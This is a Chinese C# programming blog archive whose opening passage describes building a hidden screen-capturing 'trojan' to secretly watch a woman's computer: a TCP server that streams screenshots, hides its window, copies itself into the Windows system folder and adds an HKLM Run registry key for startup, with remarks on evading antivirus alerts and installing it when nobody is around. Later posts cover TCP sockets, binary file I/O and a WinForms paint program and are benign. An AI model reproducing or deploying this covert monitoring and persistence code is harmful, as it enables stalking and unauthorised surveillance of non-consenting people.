    writer.Write(long.MaxValue);//不要怕 客户端只要read==0会自动break的
    
    myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);
    writer.BaseStream.Flush();
    
}

更加让你抓狂的:
你数数上边recv 接收数据的方法总共写了多少行代码 ,四十多行吧 看看四行代码是怎样实现同样功能的 对盖茨大叔大爱(‵▽′)
注意别忘了添加引用 项目上->右键->添加引用 System.Drawing
当然send方法里请把对应的 writer.Write(long.MaxValue); 去掉 以免读取数据时出错

//接收数据
public void recv()
{
    try
    {
        Image bmp = Bitmap.FromStream(reader.BaseStream);
        bmp.Save(DateTime.Now.Ticks + ".gif");
    }
    catch (Exception ex)
    {
        Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
    }
    reader.Close();
    client.Close();
}

 

关于socket的有些东西还有必要说下
int red = reader.Read(data, 0, data.Length);
1如果red==0 代表另一端是先发送数据然后通过正常的close方法断开连接的,所以red==0代表数据已经读完了 而不是什么异常
2如果一边已经正常关闭连接 代表数据已经完全缓存到目标机器上去了。如果一边非正常关闭连接(掉线)另一边进行read或write操作会提示连接异常
3任意一端的close方法只是关闭自己这边的连接 跟另一边没有任何关系也不会往另一边发数据确认 说“我已经关闭了” 只是发送的这些数据读完后 对方每次read都返回0
4一个socket代表一个连接到另一端的数据缓冲区 或许这样的说法更贴切

 

更符合“木马”的风格
就把上面那东东拿到人家MM的电脑上去运行监视人家的屏幕 纳尼?,运行个毛线啊 那么大的dos窗口 人家一下就给你关了
所以server程序我们还需要让他完成3个工作
1让他窗口消失,至少要在桌面上 任务栏上看不到 。让进程消失 那个属于windows底层的东西哈 本人还没那么高的功力 希望哪个高手教教俺啊
2自我复制
3添加到启动项 开机自动启动 嘿嘿
第一个简单 新建一个winform程序 并添加一个类 然后把上诉server端代码 拷过去 并在formLoad事件中调用 static_Void_Main里的代码
最重要的是把窗体的 showInTaskbar设置为false 让窗体启动时不在任务栏显示图标, 和windowsState设置为Minimized 让窗体启动时就是最小化状态

第二个也很简单通过System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;就可取到当前进程对应的可执行程序的目录
后面的自然明白了噻 嘿嘿嘿 嘿嘿
开机自动启动 通常往注册表的这个节点写值就ok了 Software\Microsoft\Windows\CurrentVersion\Run
注册表是一个大的树状结构的数据库 每个节点下可能有0到多个子节点 每个节点下有1到多个键值对 windows通过它来动态装配某些功能 就这样而已没什么神奇的
自我复制以及加开机启动代码:

void copyMyself()//
{
    RegistryKey hkml = Registry.LocalMachine;
    RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
    object value = software.GetValue("lovedrxiang");

    if (value!=null)
        return;

    string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
    string folder= Environment.GetFolderPath(Environment.SpecialFolder.System);
    string dest = folder+src.Substring(src.LastIndexOf(@"\"));

    if (!File.Exists(dest))
    {
        File.Copy(src, dest);
        software.SetValue("lovedrxiang", dest);
    }
}

 

这个其实完全就是一个正常合理合法的程序 压根儿就不是什么木马。360还有啥子管家啊 是一个让人蛋疼的东西 。并且对方不能开防火墙
稍有不对 比如文件名取成svchost 在windows目录拷东西啊 注册表操作啊 通通都会给用户弹个通红通红的大大的框框出来提示用户“你中木马了,建议立即删除”
可见360完全是面对电脑傻瓜用户的  也指不定360会从你电脑上拷啥子东西哗啦哗啦就传到他的服务器上去了 然后360的管理员就在那慢慢欣赏 嘿嘿。
既然是.net平台的那么必须得装.netFrameWork  (以后俺跟大家讲讲 .net平台的程序怎样打包到在没有安装.netFrameWork的机器上运行)
基于以上 这限制也太多了吧 所以得悄悄没人的时候搞(‵▽′)    以本程序没什么实质性的用途 纯粹博大家一笑
如果你跟对方MM很熟的话就另当别论了哈

最后是全部源码 猛击此处

最后还有想用传图像的方式做远控的童鞋 这个是相当困难滴哈 网上有这方面的文章 自己去发掘

posted @ 2012-02-18 19:00 assassinx 阅读(5619) 评论(43) 编辑

2012年2月14日

服务端:

 

class Client
{
    TcpClient clientSocket;
    StreamWriter writer;
    public Client(TcpClient client)
    {
        clientSocket = client;
        NetworkStream stream = clientSocket.GetStream();
        writer = new StreamWriter(stream,Encoding.ASCII);
        
    }

    public void write(string str)
    {
        //flush也很重要 如果你想发出去过后客户端立即就收到请使用这个 要不他会把数据放到缓冲区里
        //客户端也就一直在read那里等待
        writer.WriteLine(str);
        writer.Flush();
    }

    public void close()
    {
        //是否调用了close 然后客户端等待一段时间再read就会收不到数据呢 或者提示服务端已断开异常呢
        //否 只有马上运行完后此socket不进行close 直接关闭程序。这时客户端read操作才会报连接断开异常
        //在这之前客户端会持续的读到服务端发过去的数据

        //注意:只要服务端先发送数据然后通过正常手续依次关闭socket、监听  然后程序退出
        //那么客户端也不会有问题
        //看似客户端还没来得及收数据 
        //实际上write方法运行完毕这个数据就已经写到客户端缓冲区了(这种小数据实际上一瞬间就传过去了)
        //tcp就是要保证数据已经正确到达目标机后收到一个确认后才会继续发后面的数据的 
        //tcp正是通过这种机制维护了数据的完整性

        //服务端正常close 那么客户端唯一判断的方式就是read方法返回0 说明连接的另一端已经退出
        //只要还有连接 那么客户端调用同步read方法那么不读到数据线程是会被阻塞的就一直卡在那里
        //如果写了数据不立即Flush他也会暂时收不到数据也会卡在那里
        //如果服务端非正常关闭 则客户端read的时候产生连接断开异常

        //基于以上所以程序两端要"商量"着一起退出程序时通常是给对方发消息 收到消息后进行close
        writer.Close();
        clientSocket.Close();            
    }
}
class Program
{
    static void Main(string[] args)
    {
        TcpListener server = new TcpListener(6000);
        server.Start();
        //while (true)
        //{
            Client c = new Client(server.AcceptTcpClient());
            Console.WriteLine("新的连接");
            //Thread.Sleep(2000);
            
            for (int i = 0; i < 3; i++)
            {
                c.write("hello,welcome ^_^" + i.ToString());
                //Thread.Sleep(1000);
            }
            Thread.Sleep(5000);
            c.write("finally");
            Console.WriteLine("发送完成");
            Thread.Sleep(10000);
            c.close();
            //Thread.Sleep(100000);
        //}
        server.Stop();
    }
}

 客户端:

class Program
{
    static void Main(string[] args)
    {
        TcpClient client = new TcpClient();
        client.Connect(IPAddress.Parse(@"127.0.0.1"), 6000);
        Console.WriteLine("连上了");

        StreamReader reader = new StreamReader(client.GetStream());
        //Thread.Sleep(6000);
        while (true)
        {
            try
            {
                byte[] data = new byte[1024];

                //if (client.Available > 0)
                //{
                //read方法使用
                //第三个参数不一定是client.Available 因为别人到底发了多少数据过来是未知的
                //自己想对多少个字节解码就读多少字节就是了
                //可能想到Read方法返回的读取数是0 tcp是有连接的有状态的 所以每次Read是必定能读到东西的
                //如果调用同步Read方法没有读到对方发过来的东西 他会挂起直到读到数据为止
                //如果调用后立即返回0说明连接已经断开了
                //Thread.Sleep(2000);
                int reds = reader.BaseStream.Read(data, 0, data.Length);
                if (reds == 0)
                    break;

                if (Encoding.ASCII.GetString(data).IndexOf("finally") != -1)
                {
                    Console.WriteLine(Encoding.ASCII.GetString(data, 0, reds));
                    break;
                }
                if (reds < data.Length)
                    Console.WriteLine(Encoding.ASCII.GetString(data, 0, reds));
                else
                    Console.WriteLine(Encoding.ASCII.GetString(data));

                //当缓冲区内没有数据时立即就中断读取是不妥的
                //有可能网络延迟数据还没有发过来
                //}
                //else
                //    break;

            }
            catch (Exception ex)
            {
                Console.WriteLine("服务端已断开:" + ex.Message);
                break;
            }
        }
        Console.WriteLine("over");
        client.Close();

        Console.ReadKey();
    }
}

 

posted @ 2012-02-14 16:38 assassinx 阅读(70) 评论(0) 编辑

2012年2月9日

大家新年快乐吖  (¯▽¯;)


这是一个包含所有代码的示例  可直接运行,主要包含了文件读写时二进制数据流和字符数据的处理
并且我都写了很详细的注释 方便大家也方便自己学习

using System;
using System.Net.NetworkInformation;
using System.Text;
using System.IO;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            binaryWriteRead();
            //copy();
            //Console.WriteLine("复制完成");
            //txtRead();

        }

        //二进制读写综合应用(适合搞啥子序列化啊游戏数据保存之类的)
        //注意本实例里的内存变化字节数等
        static void binaryWriteRead()
        {
            //写入磁盘(在内存中是output 因为是输出到外部设备 )
            //操作系统中stream是以内存为参照的
            FileStream fs = File.Create("保存");
            System.IO.BinaryWriter writer = new BinaryWriter(fs);

            Random rdm = new Random();
            for (int i = 0; i < 10; i++)//int32 4字节X10
            {
                int num = rdm.Next();
                writer.Write(num);
                Console.WriteLine("写入整数:{0}", num);
            }

            char[] data = { 'h', 'e', 'l', 'l', 'o' };
            writer.Write(data);
            Console.WriteLine("写入:hello");
            writer.Write('-');//46字节

            //写入26个字母的ascii码
            //如果读取的时候使用的是streamReader 则读取的是对应ascii的字母
            for (byte i = 97; i < 97 + 26; i++)
                writer.Write(i);
            Console.WriteLine("写入字母a~z");

            writer.Write('\n');//71字节
            Console.WriteLine("------------------------------------------");
            fs.Flush();
            fs.Close();
            
            writer.Close();

            //-------------------------------------------------------------
            //读取(在内存中是input)
            fs = File.OpenRead("保存");

            BinaryReader reader = new BinaryReader(fs);
            //读取26个字母
            fs.Seek(46, SeekOrigin.Begin);
            for (byte i = 97; i < 97 + 26; i++)
                Console.Write(reader.ReadChar());
            //读取10个整数
            fs.Seek(-72, SeekOrigin.Current);

            Console.WriteLine();
            //int 代表 System.Int32 4个字节 
            //如果writer.Write(true) 实际上也是写入一个字节:0x0001 
            //字节是基本单位
            byte[] numData = new byte[4];
            for (int i = 0; i < 10; i++)
            {
                reader.Read(numData, 0, 4);
                Console.WriteLine("读取整数:{0}", byteArToLong(numData));//手工对byte数组进行转换
                //Console.WriteLine("读取整数:{0}", reader.ReadInt32());
            }
            
            reader.Close();
            fs.Close();
        }

        static int getNum(byte[] bytes)//二进制转十进制(我帖子里留言那位兄弟滴代码很牛x ^_^)
        {
            //long型数据类型为8字节
            int num = 0;
            int n = Math.Min(bytes.Length, 4) - 1;
            for (int i = n; i > -1; i--)
                num = (num << 8) | bytes[i];//num = (num<<8) + bytes[i];
            return num;
        }

        //字节数组转长整型(二进制转十进制)
        static long byteArToLong(byte[] bytes)
        {
            //int [] nums= {1,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144};
            //当时我的代码是这样写的哈遇到大的数字就要出问题,一个字节8位应该是8的平方 而我写的确是2的平方
            //不过上面那位留言的高手只顾自己开心了这么明显的错误也没看出来

            //int srcData = 312705998;
            //比如上面的int值在内存中是0x12a383ce 的形式存储的
            //但是他在文件中存储确是反过来的(低位在前 高位在后)
            //如果我一次读取4字节就是下面的形式
            //byte []data = {0xce,0x83,0xa3,0x12};

            int[] nums = { 1, 256, 65536, 16777216 };
            if (bytes.Length > nums.Length)
                throw new Exception("溢出");
            long num = 0;
            for (int i = 0; i < bytes.Length; i++)
                num += (bytes[i] * nums[i]);
            return num;
        }

        static void copy()//文件拷贝(二进制读写)
        {
            FileStream fs = File.OpenRead("d:/新建文件夹 (2).zip");

            FileInfo copys = new FileInfo("d:/复件.zip");
            FileStream fsCopy = copys.Create();

            byte[] data = new byte[10];
            int reds;

            while ((reds = fs.Read(data, 0, data.Length)) > 0)
                fsCopy.Write(data, 0, reds);

            fs.Flush();
            fsCopy.Close();
            fs.Close();

        }

        static void txtRead()//文本读取
        {
            //ANSI编码是个很蛋疼的东西 
            //比如utf-8还有其他编码存储的文本文件最开始会有两个字节用来识别编码的
            //而ANSI没有 但是ANSI是经过扩了展的有汉字编码
            //以前曾试过自己直接通过读取二进制再解码的方式来做 但是真滴很麻烦
            //还是这样比较方便 偷懒 O(∩_∩)O哈哈~
            FileStream fs = File.Open(@"d:/a.cs", FileMode.Open);

            StreamReader reader = new StreamReader(fs);
            string data;
            while ((data = reader.ReadLine()) != null)
                Console.WriteLine(data);
        }


    }


}

 

posted @ 2012-02-09 21:36 assassinx 阅读(285) 评论(1) 编辑

2011年11月2日

 

最近做一些图像处理相关的东西 还是有那么一点点心得分享下

第一部分:

做一个画图板程序类windows里的mspaint
首先是想到怎么把基本功能实现 铅笔阿 画线阿 画圆 画框阿 啥的,为了突出咱的不同 咱做一个对图形进行拖动 调整大小的功能 。
要对图形重定义 那么要对图像保存元数据以便以后调整 说得忽悠点就是序列化啥的 砖家们经常这样讲
画线 铅笔 画圆 画框 这些在.net的graphic里调用都一句话的事 然后在onpaint里进行重绘就可以了。
明白原理自己去实现也不是不可以 以前我写过一篇在winfrom里画直线的文章 只是我们没有必要再去造轮子。

我们先弄一个工具栏 整个工具切换效果 先拖个menustrip控件 然后加5个菜单项:


写menustrip的itemclicked事件的代码, 注意不是菜单项的click事件:

//工具切换效果
private void menuStrip1_ItemClicked(object sender, ToolStripItemClickedEventArgs e)
{
    for (int i = 0; i < menuStrip1.Items.Count; i++)
    {
        menuStrip1.Items[i].BackColor = Color.FromName("Control");
    }
    e.ClickedItem.BackColor = Color.Green;
}

 然后再声明一个枚举类型 枚举5种工具,单击菜单项的时候进行切换:

private void 画线ToolStripMenuItem_Click(object sender, EventArgs e)
{
    type = toolType.line;
}

private void 铅笔ToolStripMenuItem_Click(object sender, EventArgs e)
{
    type = toolType.pencil;
}
toolType type;
enum toolType
{
    line, pencil,rec
}

 然后是画的过程,咱不能直接在窗体上画 咱得保存元数据阿,线段吗暂时用 Ilist<Point> 就可以 铅笔用graphicPath 矩形就用 Ilist<Rectangle>
画的时候根据鼠标 按下->拖动->释放 把图形添加到后台。onpaint事件的时候把图形重现。
下面是一些代码 我说过画线画框那些在.net里都是一句话调用的事,铅笔工具稍微复杂点 在最后面有说明:

private void Form1_Paint(object sender, PaintEventArgs e)
{
    //for (int i = 0; i < line.Count; i += 1)
    //{
    //    if (i >= line.Count - 1)
    //        break;
    //    e.Graphics.DrawLine(Pens.Red, line[i], line[i + 1]);
    //}
    for (int i = 0; i < lines.Count; i += 2)
    {
        if (i >= lines.Count - 1)
            break;
        e.Graphics.DrawLine(Pens.Red, lines[i], lines[i + 1]);
    }
    foreach (Rectangle rec in recs)
    {
        e.Graphics.DrawRectangle(Pens.Green, rec);
    }
}
private void Form1_MouseMove(object sender, MouseEventArgs e)
{
    //line.Add(e.Location);
    Invalidate();
}

IList<Point> lines = new List<Point>();
IList<Rectangle> recs = new List<Rectangle>();
private void Form1_MouseDown(object sender, MouseEventArgs e)
{
    startMouse = e.Location;
}
Point startMouse;

private void Form1_MouseUp(object sender, MouseEventArgs e)
{
    switch (type)
    {
        case toolType.line: {
            lines.Add(startMouse);
            lines.Add(e.Location);
            break;
        }
        case toolType.rec:
            {
                recs.Add(new Rectangle(startMouse, new Size
                    (e.Location.X - startMouse.X, e.Location.Y - startMouse.Y)));
                break;
            }
    }
    Invalidate();
}

 并且矩形这里也只对从左上起点到右下结束的这种情况作了处理 其他的情况没考虑,在完整代码里功能是实现了的。
还有就是怎么没有“即时效果” 就是画线断跟画框的拖拽效果,在onpaint最后加上这两句就可以了:

if (!mouseDown)
    return;
if (type == toolType.line)
    e.Graphics.DrawLine(Pens.Red, startMouse, tmpMouse);
if (type == toolType.rec)
    e.Graphics.DrawRectangle(Pens.Green, new Rectangle(startMouse, new Size
                    (tmpMouse.X - startMouse.X, tmpMouse.Y - startMouse.Y)));

 当然得加一个mouseDown的bool变量 让他在鼠标按下时为true 弹起时为false,再加一个tmpMouse的 Point变量  在鼠标移动时给他赋值。
以上所有源码下载 猛击此处
当当当当 现在一个画图板出来了吧基本上可以用了吧 挖哈哈 (¯▽¯;)


对了拖动功能呢?这个嘛其实很简单, 如果当前是对象选择工具(最后一个按钮) 在鼠标按下时把那个坐标拿到所有对象里去检测 如果有符合的 选定那个图形。
检测的方式嘛 自己去搞咯, 看某个点是否在一条线断上我那个 画直线 的文章里有 第二部分的源码里也有。检测矩形就更简单啦
鼠标移动的时候看当前是否检测并选择了对象 如果有 拖动就是啦,拖动的过程 这还不简单 更改当前对象的坐标就是啦 point.offset 根据当前鼠标位置改 不要告诉我你不会哈。
这些所有的在第二部分的源码里都有。


第二部分:

程序不是完了吗,为什么还要有第二部分,看完就知道了 并且后面的更精彩 嘿嘿,并且第二部分所有代码都是重新写的。
上面那样依然不是好的结构 为了更系统些包括以后功能的扩展 程序结构的清晰 ,我们得用面向对象的方式去设计它 把 数据模型 代码逻辑分离, 功能的分类 定义好
想象一下上中学几何课的时候在黑板上画图,比如这是一个系统。它有黑板(Board类)这个对象对不 它是所有图形的承载体 包括背景色 粉笔 当前正在画的图形 等,
图形是预定好的 有三角形 矩形 各种图形(Circle line pencil square)
但是他们都有相同的特性比如在黑板上的位置 线条的颜色 填充颜色 他们有共同的基类(Shape) 这点我们可以通过继承来实现:

来复习下最基本的继承以及virtual方法实现:

class Program
{
    static void Main(string[] args)
    {
        IList<father> fathers = new List< father>();
        fathers.Add(new son());
        fathers.Add(new son());
        fathers[0].method();
        fathers[0].method2();
    }
}

class father
{
    public virtual void method()
    {
        Console.WriteLine("father's method");
    }
    public virtual void method2()
    {
        Console.WriteLine("father's method2");
    }
}
class son : father {
    public override void method()
    {
        Console.WriteLine("son's method");
        //base.method();
    }
}

输出:
son's method
father's method2
说到底virtual跟override就是面向对象的精华所在, 子类实现了调用子类的 子类未实现调用父类的。 包括VC++的MFC到处都用到了这种模式。
原来从C转到C++的也根本没得这么多乱七八糟的面向对象设计的理论,只是有这么一个概念而已。

这是表现图形及方法实现部分代码,这么做的目的就是为了对数据模型进行定义 便于扩展,比如我以后没有画矩形的需求了 可以把矩形那个类删掉
以后想画五角星了 可以增加一个五角星的类 继承Shape。比如每种图形都有相同的背景色。可以在Shape 定义showBackground()供每个继承的对象调用。
而不用每个都重新实现这个方法。

#region 图形基类
public  class Shape
{
    public Rectangle region;//图形的大小及位置
    public int lineAlpha=100;//透明度
    public int layer=1;//层叠位置
    public Pen line = new Pen(Color.Red, 1);//线段属性
    public Color bgColor = Color.Lavender;//背景色
    public int bgColorAlpha = 50;
    public Point mouseStart = Point.Empty;//鼠标起点
    public Point mouseEnd = Point.Empty;//鼠标终点
    public bool selected = false;

    public Shape() { }


    public Shape(Color _lineColor, Point _mouseStart)
    {
        line.Color = _lineColor; this.region = new Rectangle(); region.Location = _mouseStart; region.Width = 0; region.Height = 0; 
    }
    //绘制(其实就是数据更新)
    public virtual void draw(Point p){}

    public virtual void move(int x, int y)//根据偏移量移动
    {
        region.Location.Offset(x, y);
    }

    public virtual bool select(Point p)
    {
        return false;
    }
            
    public virtual void show(Graphics handle)//显示
    {
        handle.DrawRectangle(line, this.region);
    }

}
#endregion

#region 线段
public class Line : Shape
{
    
    //通过两点初始化一条线段
    public Line(Point _start, Point _end)
    {
        this.mouseStart = _start; this.mouseEnd = _end;

        region.X = mouseEnd.X > mouseStart.X ? mouseStart.X : mouseStart.X - (mouseStart.X - mouseEnd.X);
        region.Y = mouseEnd.Y > mouseStart.Y ? mouseStart.Y : mouseStart.Y - (mouseStart.Y - mouseEnd.Y);
        region.Width = Math.Abs(mouseStart.X - mouseEnd.X);
        region.Height = Math.Abs(mouseStart.Y - mouseEnd.Y);
    }
    public Line() { }
    //通过一点初始化一条线段(起点跟终点同一个坐标不能称之为线段 准确的说应该是点)
    public Line(Point _start)
    {

        line.Color = Color.Red;
        this.mouseStart = _start; this.mouseEnd = Point.Empty;

        region.X = mouseStart.X;
        region.Y = mouseStart.Y;
        region.Width = 0;
        region.Height = 0;
    }
    //绘制(对两个点进行数据更新)
    public override void draw(Point p)
    {
        if (mouseStart == Point.Empty)
        { this.region = new Rectangle(); region.Location = p; region.Width = 0; region.Height = 0; }
        else //if (mouseEnd == Point.Empty)
        {
            mouseEnd = p;

            region.X = mouseEnd.X > mouseStart.X ? mouseStart.X : mouseStart.X - (mouseStart.X - mouseEnd.X);
            region.Y = mouseEnd.Y > mouseStart.Y ? mouseStart.Y : mouseStart.Y - (mouseStart.Y - mouseEnd.Y);
            region.Width = Math.Abs(mouseStart.X - mouseEnd.X);
            region.Height = Math.Abs(mouseStart.Y - mouseEnd.Y);
        }
    }

    //对当前实例进行显示(根据起始坐标画一条直线)
    public override void show(Graphics handle)
    {
        handle.DrawLine(line, mouseStart, mouseEnd);
    }
    //移动
    public override void move(int x, int y)
    {
        mouseStart.Offset(x, y);
        mouseEnd.Offset(x, y);

        region.Location.Offset(x, y);
    }
     
    public override bool select(Point mouse)
    {
        Util u = new Util();
        if (u.linedetector(mouse, mouseStart, mouseEnd))
        {
            selected = true;
            return true;
        }

        selected = false;
        return false;
    }
}
#endregion

 
跟计算机相关的东西 特别是程序开发,有些东西是要搞清楚原理的 原理弄懂了 什么都好办 ,不要只浮于表面的一些啥工具啊技术的 发现培训机构出来的都有点这种。

最菜的时候弄铅笔工具 我想用鼠标跟随的方式不断drawRectangle 这样就可以把鼠标笔迹画出来了,最后发现鼠标是跟不上的 画出来断断续续的,
我弄这个之前也没有看过其他人的代码,想想也确实应该这样实现啊。
原来的铅笔工具代码。。。

private void Form1_MouseMove(object sender, MouseEventArgs e)
{
    Graphics g = Graphics.FromHwnd(this.Handle);
    g.DrawRectangle(Pens.Red, new Rectangle(e.Location, new Size(2, 2)));
}

 
这个看上去有点像橡皮擦哈
百度上搜的东西都是废的。始终找不到原因 到底是鼠标没有捕捉到那个点么,事实上鼠标的每一个移动的坐标系统底层都是会捕捉到的 只是画的速度跟不上,
鼠标移动慢点还好 你说移动快了刷刷的 不断的drawRectangle多费系统资源啊 怎么可能跟得上 可能它也是根据CPU时间片来的呗 所以有些就漏掉了呗。
可能有些原理性的东西想想大概也就明白了  但是你得去琢磨啊 否则做什么程序开发,现在做程序设计的早没有以前C语言时候那些人的认真跟谨慎了
一天费劲心思去研究那些数学算法 谭大师的《C程序设计》是本好书 有难度但是不是太难 只要认真看都还是看得懂的。
后来知道了有graphicsPath这个东西做什么用的听名字就知道啊 然后在鼠标移动的时候不断的graphicsPath.addLine 把鼠标移动的路径用graphicsPath连起来
果然一试就成功 就跟Windows里的画图板一模一样 我想他那里面也是采用这种方式吧。现在铅笔工具代码 注意没有用到graphicpath

private void Form1_Paint(object sender, PaintEventArgs e)
{
    for (int i = 0; i < line.Count; i += 1)
    {
        if (i >= line.Count - 1)
            break;
        e.Graphics.DrawLine(Pens.Red, line[i], line[i + 1]);
    }
}
private void Form1_MouseMove(object sender, MouseEventArgs e)
{
    line.Add(e.Location);
    Invalidate();
}
IList<Point> line = new List<Point>();

 

如果循环里换成 i+=2 则变成虚线,并且值越大虚得越凶 有意思吧 (¯▽¯;)  。实际上多边形也可以用这种方式来做 数组里两个一组两个一组的point值 明白赛。

别忘了加上双缓冲代码

this.SetStyle(ControlStyles.UserPaint, true);
this.SetStyle(ControlStyles.AllPaintingInWmPaint, true); // 禁止擦除背景.
this.SetStyle(ControlStyles.DoubleBuffer, true);

对图像指定部分进行清除 达到橡皮擦的效果想起来好像很复杂 其实你反过来想不就得了吧,橡皮擦是一种画笔 一种特殊的画笔 背景色的画笔。


还后onPaint的概念自MFC里就有的并不是winfrom里才有 这是Windows窗体的一个重要概念 必须弄明白。
本来参数e里就有e.graphics  以前看到网上在鼠标移动时graphics g=graphics.fromhandle(this.handle)  就一直这样用 结果就是老是一闪一闪的,
这次在onpaint直接用e.graphics就不闪了。可见onpaint函数是直接接管底层的windwos重绘消息 有特别作用的 是不一样的。有.net了 有winform了 方便了
所有的都是基于托管平台编程了 我们不用去处理底层windows消息了 于是我们不明白原理了。

还有就是做这种绘图或者即时性效果的代码里边 效率很重要,因为要不断的重绘不断的重绘可能每秒钟那段代码都被运行无数次了。
代码需要优化 包括各种条件判断 这样可以提高效率 一条 确保在真正需要的时候代码才会被执行 学校里那些烂代码就不要整到里面了 都是从烂代码过来的呗。
程序的设计也是很重要的 本人从不在winform里整些乱七八糟的代码 winfrom里只负责调用  哪个类继承哪个类  程序结构整整洁洁的 多好。

又讲了这么多没用的

最后是画图板最终程序源码 猛击此处 怕有的朋友运行不起是在.net2.0模式下编译的,这里就是个学习的地方 别藏着掖着 整个东西出来还不给源码给别人研究 多烦啊
如果有用了咱的代码的请留个名儿哈。

程序还有诸多未完善的地方比如椭圆区域的判定 变形 等 望改进。椭圆的拖动功能暂未实现 其他的都OK。
还有拖动时图形抓取的容差是5个像素 针对线段  抓取拖动的过程没有任何颜色跟光标的变化 。同鞋们注意咯 免得说俺功能没实现哈。

其实画图板不难 真谛不难 就算你要做成矢量的 可进行后处理的 可拖动的 变形的 多图层的 就算做到photoshop那样 也不是什么很困难的事 大家可以看到在《图片裁剪效果》的文章里alpha透明效果圆角矩形等等我都已经实现了。这个实际上不算图像处理哈 ,要做专门的图象处理需要有专门的理论 算法  高数 平面几何等等 本人承认在这方面还欠缺 还需努力学习 加油。

又是熬夜写这个鬼东东 靠 五点多了。

posted @ 2011-11-02 05:00 assassinx 阅读(1542) 评论(7) 编辑

2011年9月13日

摘要: 准备在winform程序里做一个图片剪切功能,一个矩形框 有手柄 可进行调整 对图片进行裁剪。 就像ACDSee那样:在园子里找了下没有现成的东东,准备自己整个。仔细想了下对图片进行裁剪 裁剪这个过程完全不用我们费心因为.Net里盖茨大叔开的公司为我们提供了drawImage这个万能的函数啦,msdn里对他的大概解释是 把原图指定矩形区域的像素“画”到目标Image的指定矩形区域来看看: //图像裁剪 public Bitmap GetPartOfImage(Bitmap sourceImg, int width, int height, int offsetX, int offsetY) {阅读全文

posted @ 2011-09-13 00:46 assassinx 阅读(2166) 评论(37) 编辑

2011年7月23日

摘要: 俺又来耍宝了哈也许有人耍过了 就别喷我了 ,啊 那个 这位童鞋 你知道有这个东东么 ?熟么 不知道 不知道就对了 (俺就好忽悠了 挖哈哈)。我晕死到底是熟么啊这就是号称天上地下无所不知的wolframalpha科学计算引擎哈肿么读捏 ,我也不晓得 你可以把它读作“沃from阿尔法” 随便你咯 。他一出现日月无光飞沙走石哈。熟么google百度在他面前那简直都是浮云他其实并不是一个搜索引擎 它的独特之处是在你输入一串字母 他能马上理解问题 并给你答案。举个例子 比如你说 你好吗 他说 我很好,你说 3+2等于几 他说 等于5 嗯 就是这样 有点像人工智能哈最重要的一点是他有强大的数学函数计算功能阅读全文

posted @ 2011-07-23 08:01 assassinx 阅读(1636) 评论(6) 编辑

2011年7月4日

摘要: 哦啦啦,俺又来啦,几个月不见是不是很想俺呐,挖哈哈 (¯▽¯;)。俺这个文章纯属抛砖引玉 ,希望各位高手不要丢板砖啦。俺们写程序也就是一个乐趣 比不了你们这些博客园的牛x人啦这次俺们来秀下直线方程 小意思 见笑啦,俺们用得最多的就是.net了哈 所以依旧在.net平台上做测试好正题:先把一次函数搬出来哈直线的方程:y=ax+b地球人都知道哈啊,如果是初中都没上的同学请略过。。。还有两边都是1的直角等边三角形他的斜边是多少?当然是根号2啦 哈哈哈平常老在VC里lineTo()过去 lineTo()过来,童鞋们难道就没想过他是怎么来的么。如果知道了两个坐标(x1,y1 )(x2阅读全文

posted @ 2011-07-04 02:29 assassinx 阅读(1786) 评论(7) 编辑

2011年3月9日

摘要: 做网站程序 一天都是那些鬼东东让人越来越白痴C++都快忘得快干净了其实这些都是些最基础的的东西, 写一段时间程序了突然发现这些最基础的东西才是最有意思的。------\\\\(˙<>˙)/------别说有些人就是爱好整这种虚拟的东东 折腾过去折腾过来 ,玩得不亦乐乎 怎么感觉有点像充气娃娃 - -! 无语。。。。。位移操作符,只要你对二进制熟悉 那么你就可以熟练的操作他int num = 1; num <<= 10; Console.WriteLine(num);左移10位(二进制的位),相当于 2的10次方输出结果为1024二进制跟十进制之间转来转去的方法:二进制跟阅读全文

posted @ 2011-03-09 23:32 assassinx 阅读(149) 评论(2) 编辑

摘要: 这些纯粹学习代码没啥实际用处bitmap快速复制数据的方法,比setPixel快 static void void Main(string[] args){ //截屏代码 Rectangle rec = Screen.PrimaryScreen.Bounds; Bitmap img = new Bitmap(rec.Width, rec.Height); Graphics gph = Graphics.FromImage(img); gph.CopyFromScreen(new Point(0, 0), new Point(0, 0), rec.Size); //将bitmap锁定到系统内存中阅读全文

posted @ 2011-03-09 17:07 assassinx 阅读(277) 评论(0) 编辑